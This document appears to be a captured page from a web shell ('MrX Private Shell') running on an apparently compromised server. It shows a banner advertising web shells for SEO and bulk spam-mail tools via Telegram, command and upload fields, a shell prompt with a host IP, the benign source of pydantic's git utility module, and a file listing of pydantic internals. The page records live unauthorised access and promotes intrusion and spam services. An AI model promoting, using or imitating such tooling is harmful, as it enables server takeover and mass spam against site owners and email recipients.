__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.217.25: ~ $
"""Git utilities, adopted from mypy's git utilities (https://github.com/python/mypy/blob/master/mypy/git.py)."""

from __future__ import annotations

import os
import subprocess


def is_git_repo(dir: str) -> bool:
    """Is the given directory version-controlled with git?"""
    return os.path.exists(os.path.join(dir, '.git'))


def have_git() -> bool:
    """Can we run the git executable?"""
    try:
        subprocess.check_output(['git', '--help'])
        return True
    except subprocess.CalledProcessError:
        return False
    except OSError:
        return False


def git_revision(dir: str) -> str:
    """Get the SHA-1 of the HEAD of a git repository."""
    return subprocess.check_output(['git', 'rev-parse', '--short', 'HEAD'], cwd=dir).decode('utf-8').strip()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
_config.py File 12.31 KB 0644
_core_metadata.py File 3.44 KB 0644
_core_utils.py File 23.7 KB 0644
_dataclasses.py File 8.53 KB 0644
_decorators.py File 31.21 KB 0644
_decorators_v1.py File 6.06 KB 0644
_discriminated_union.py File 25.82 KB 0644
_docs_extraction.py File 3.7 KB 0644
_fields.py File 14.58 KB 0644
_forward_ref.py File 611 B 0644
_generate_schema.py File 102.91 KB 0644
_generics.py File 21.69 KB 0644
_git.py File 784 B 0644
_internal_dataclass.py File 144 B 0644
_known_annotated_metadata.py File 13.86 KB 0644
_mock_val_ser.py File 7.14 KB 0644
_model_construction.py File 30.63 KB 0644
_repr.py File 4.46 KB 0644
_schema_generation_shared.py File 4.74 KB 0644
_signature.py File 6.15 KB 0644
_std_types_schema.py File 28.2 KB 0644
_typing_extra.py File 18.97 KB 0644
_utils.py File 12.36 KB 0644
_validate_call.py File 3.7 KB 0644
_validators.py File 10.86 KB 0644